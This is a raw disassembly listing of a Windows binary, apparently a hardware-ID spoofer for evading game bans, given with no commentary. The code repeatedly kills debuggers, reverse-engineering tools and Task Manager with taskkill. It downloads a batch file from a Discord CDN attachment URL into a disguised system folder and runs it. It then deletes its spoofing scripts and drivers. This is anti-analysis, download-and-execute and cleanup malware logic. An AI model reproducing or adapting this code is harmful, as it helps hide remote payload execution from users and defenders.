call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xde30]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xde10]
call fcn.14005d9d0
lea rcx, [rsp + 0xde10]
call fcn.14005d8d0
mov qword [rsp + 0x8b0], rax
lea rcx, [rsp + 0xde30]
call fcn.14005d8d0
mov qword [rsp + 0x8b8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x8b0]
mov rdx, qword [rsp + 0x8b8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.Restart_Pc
lea rdx, str.Restart_Pc
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIDEWINx64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_volumeid64.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemc.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
call fcn.1402b632c
lea rcx, [rsp + 0xde10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xde30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xde50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xde70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xde90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdeb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xded0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdef0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdf10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdf30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdf50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdf70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdf90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdfb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdfd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdff0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe010]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe030]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe050]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe070]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe090]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe0b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe0d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe0f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe110]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe130]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe150]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe170]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe190]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe1b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe1d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe1f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe210]
call fcn.14005d8e0
nop
